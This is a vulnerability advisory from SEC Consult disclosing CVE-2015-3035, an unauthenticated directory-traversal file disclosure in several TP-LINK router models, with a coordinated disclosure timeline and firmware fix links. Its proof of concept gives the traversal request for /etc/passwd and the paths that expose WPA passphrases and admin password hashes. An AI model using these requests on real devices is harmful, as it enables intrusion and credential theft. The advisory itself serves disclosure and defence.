SEC Consult Vulnerability Lab Security Advisory < 20150410-0 >
=======================================================================
              title: Unauthenticated Local File Disclosure
            product: Multiple TP-LINK products (see Vulnerable / tested versions)
 vulnerable version: Multiple (see Vulnerable / tested versions)
      fixed version: see Solution
         CVE number: CVE-2015-3035
             impact: Critical
           homepage: http://tp-link.com
              found: 2015-02-19
                 by: Stefan Viehböck (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Berlin - Frankfurt/Main - Montreal - Singapore
                     Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"TP-LINK is a global provider of SOHO & SMB networking products and the World's
No.1 provider of WLAN products, with products available in over 120 countries
to tens of millions customers. Committed to intensive R&D, efficient production
and strict quality management, TP-LINK continues to provide award-winning
networking products in Wireless, ADSL, Routers, Switches, IP Cameras, Powerline
Adapters, Print Servers, Media Converters and Network Adapters for Global
end-users."

Source: http://www.tp-link.us/about/?categoryid=102


Business recommendation:
------------------------
Attackers can read sensitive configuration files without prior authentication.
These files e.g. include the administrator credentials and the WPA passphrase.

TP-LINK has provided fixed firmware which should be installed immediately.


Vulnerability overview/description:
-----------------------------------
Because of insufficient input validation, arbitrary local files can be
disclosed. Files that include passwords and other sensitive information can
be accessed.


Proof of concept:
-----------------
The following HTTP request shows how directory traversal can be used to gain
access to files without prior authentication:
===============================================================================
GET /login/../../../etc/passwd HTTP/1.1
Host: $host

===============================================================================

The server response includes the contents of the file:
===============================================================================
HTTP/1.1 200 OK
Server: Router Webserver
Connection: Keep-Alive
Keep-Alive:
Persist:
WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300"
Content-Length: 683
Content-Type: text/html
root:x:0:0:root:/root:/bin/sh
Admin:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:65534:65534:nobody:/home:/bin/sh
ap71:x:500:0:Linux User,,,:/root:/bin/sh
dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh
admin:x:500:500:admin:/home:/bin/sh
guest:x:500:500:guest:/home:/bin/sh
dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh
dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh
===============================================================================

Several sensitive files can be read. These include:
Files containing Wi-Fi configuration including WPA-passphrase:
/login/../../../tmp/ath.ap_bss
/login/../../../tmp/ath1.ap_bss

A file containing administrator credentials (format: $user:md5($password), which can
be brute-forced very efficiently:
/login/../../../tmp/dropbear/dropbearpwd


Example server response:
===============================================================================
HTTP/1.1 200 OK
Server: Router Webserver
Connection: Keep-Alive
Keep-Alive:
Persist:
WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300"
Content-Length: 56
Content-Type: text/html
username:admin
password:11d0fc2ff3e7862d8a3f9b280e6d390c
===============================================================================


Vulnerable / tested versions:
-----------------------------
The vulnerability affects the following products:
TP-LINK Archer C5 (Hardware version 1.2)
TP-LINK Archer C7 (Hardware version 2.0)
TP-LINK Archer C8 (Hardware version 1.0)
TP-LINK Archer C9 (Hardware version 1.0)
TP-LINK TL-WDR3500 (Hardware version 1.0)
TP-LINK TL-WDR3600 (Hardware version 1.0)
TP-LINK TL-WDR4300 (Hardware version 1.0)
TP-LINK TL-WR740N (Hardware version 5.0)
TP-LINK TL-WR741ND (Hardware version 5.0)
TP-LINK TL-WR841N (Hardware version 9.0)
TP-LINK TL-WR841N (Hardware version 10.0)
TP-LINK TL-WR841ND (Hardware version 9.0)
TP-LINK TL-WR841ND (Hardware version 10.0)


Vendor contact timeline:
------------------------
2015-02-19: Contacting vendor through support@tp-link.com.
2015-02-24: Resending email as previous ticket has been closed by TP-LINK.
2015-02-24: Contacting technical support engineer of TP-LINK, contact received
            by 3rd party.
2015-02-25: Requesting encryption keys, providing affected models.
2015-02-26: No encryption keys available, sending advisory in unencrypted form.
2015-02-28: Vendor confirms vulnerability, provides beta firmware.
2015-03-03: Sending confirmation that beta firmware fixes the vulnerability.
2015-03-06: Vendor is working on release schedule, affected devices.
2015-03-16: Vendor announces that fixed firmware will be released by the end of
            March.
2015-03-24: Vendor confirms that firmware releases are on schedule.
2015-04-08: Vendor provides final list of affected products & download URLs.
2015-04-10: Coordinated release of security advisory.


Solution:
---------
Update to the most recent firmware version:
TP-LINK Archer C5 (Hardware version 1.2): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13048
TP-LINK Archer C7 (Hardware version 2.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13008
TP-LINK Archer C8 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13052
TP-LINK Archer C9 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13020
TP-LINK TL-WDR3500 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13018
TP-LINK TL-WDR3600 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13019
TP-LINK TL-WDR4300 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13009
TP-LINK TL-WR740N (Hardware version 5.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13012
TP-LINK TL-WR741ND (Hardware version 5.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13013
TP-LINK TL-WR841N (Hardware version 9.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13033
TP-LINK TL-WR841N (Hardware version 10.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13036
TP-LINK TL-WR841ND (Hardware version 9.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13035
TP-LINK TL-WR841ND (Hardware version 10.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13037


Workaround:
-----------
See solution.


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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EOF Stefan Viehböck / @2015